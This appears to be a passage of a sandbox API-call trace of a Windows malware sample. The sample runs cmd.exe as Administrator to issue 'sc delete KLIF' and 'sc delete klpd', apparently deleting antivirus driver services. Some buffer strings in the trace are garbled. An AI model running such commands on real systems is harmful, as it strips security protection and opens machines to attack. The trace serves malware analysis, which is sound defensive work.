_MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.877] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.878] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.878] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.878] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.878] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.878] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.878] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.878] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.878] GetProcessHeap () returned 0x240000 [0077.878] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.879] GetProcessHeap () returned 0x240000 [0077.879] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.879] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete KLIF", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete KLIF", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete KLIF", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x644, dwThreadId=0x600)) returned 1 [0077.883] CloseHandle (hObject=0x50) returned 1 [0077.883] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.883] GetProcessHeap () returned 0x240000 [0077.883] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.883] GetEnvironmentStringsW () returned 0x261b10* [0077.883] GetProcessHeap () returned 0x240000 [0077.883] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.883] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.883] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.884] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd9000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.884] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0077.930] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.931] CloseHandle (hObject=0x54) returned 1 [0077.931] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.931] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.931] GetProcessHeap () returned 0x240000 [0077.931] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.931] GetEnvironmentStringsW () returned 0x261b10* [0077.931] GetProcessHeap () returned 0x240000 [0077.931] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.931] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.931] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.931] GetProcessHeap () returned 0x240000 [0077.931] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.931] GetEnvironmentStringsW () returned 0x261b10* [0077.931] GetProcessHeap () returned 0x240000 [0077.931] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.931] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.931] GetProcessHeap () returned 0x240000 [0077.931] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.931] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.931] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.932] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.932] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.932] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.932] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.932] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.933] GetConsoleOutputCP () returned 0x1b5 [0077.933] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.933] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.933] GetProcessHeap () returned 0x240000 [0077.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.933] GetProcessHeap () returned 0x240000 [0077.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.933] GetProcessHeap () returned 0x240000 [0077.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.933] GetProcessHeap () returned 0x240000 [0077.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0077.933] GetProcessHeap () returned 0x240000 [0077.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0077.933] GetProcessHeap () returned 0x240000 [0077.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.933] GetProcessHeap () returned 0x240000 [0077.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0077.933] GetProcessHeap () returned 0x240000 [0077.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.933] GetProcessHeap () returned 0x240000 [0077.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.934] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.934] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.934] GetFileType (hFile=0x120) returned 0x3 [0077.934] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.934] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.934] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.934] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.934] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.934] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.934] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.934] GetFileType (hFile=0x120) returned 0x3 [0077.934] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.934] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.934] GetFileType (hFile=0xb8) returned 0x3 [0077.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.934] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.935] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.935] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.935] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.935] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.935] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.935] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.935] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.935] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.935] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.935] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.935] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.935] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.935] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.935] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.935] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.935] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.935] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.936] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.936] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.936] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.936] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.936] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.936] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.936] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.936] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.936] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.936] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.936] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.936] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.936] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.936] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.936] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.936] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="kLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.937] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.937] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.937] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="lIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.937] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.937] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.937] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="pF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.937] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.937] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.937] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="d\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.937] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.937] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.937] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0077.937] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.937] GetFileType (hFile=0xb8) returned 0x3 [0077.937] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.937] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.938] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.938] GetFileType (hFile=0x120) returned 0x3 [0077.938] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klpd\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klpd\n", lpUsedDefaultChar=0x0) returned 16 [0077.938] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0xf, lpOverlapped=0x0) returned 1 [0077.938] GetProcessHeap () returned 0x240000 [0077.938] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.938] GetProcessHeap () returned 0x240000 [0077.938] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.938] GetProcessHeap () returned 0x240000 [0077.938] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.938] GetProcessHeap () returned 0x240000 [0077.938] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.938] GetProcessHeap () returned 0x240000 [0077.938] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2a) returned 0x256510 [0077.938] GetConsoleOutputCP () returned 0x1b5 [0077.938] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.938] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.939] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.939] GetProcessHeap () returned 0x240000 [0077.939] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.939] GetProcessHeap () returned 0x240000 [0077.939] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x256550 [0077.939] GetProcessHeap () returned 0x240000 [0077.939] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0077.939] SetErrorMode (uMode=0x0) returned 0x1 [0077.939] SetErrorMode (uMode=0x1) returned 0x0 [0077.939] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.939] SetErrorMode (uMode=0x1) returned 0x1 [0077.939] GetProcessHeap () returned 0x240000 [0077.939] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0077.940] GetProcessHeap () returned 0x240000 [0077.940] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0077.940] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.940] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.940] GetProcessHeap () returned 0x240000 [0077.940] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.940] GetProcessHeap () returned 0x240000 [0077.940] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.940] GetProcessHeap () returned 0x240000 [0077.940] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.940] GetProcessHeap () returned 0x240000 [0077.940] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.940] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.940] GetProcessHeap () returned 0x240000 [0077.940] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0077.940] GetProcessHeap () returned 0x240000 [0077.940] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0077.940] GetProcessHeap () returned 0x240000 [0077.940] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0077.941] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.941] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, 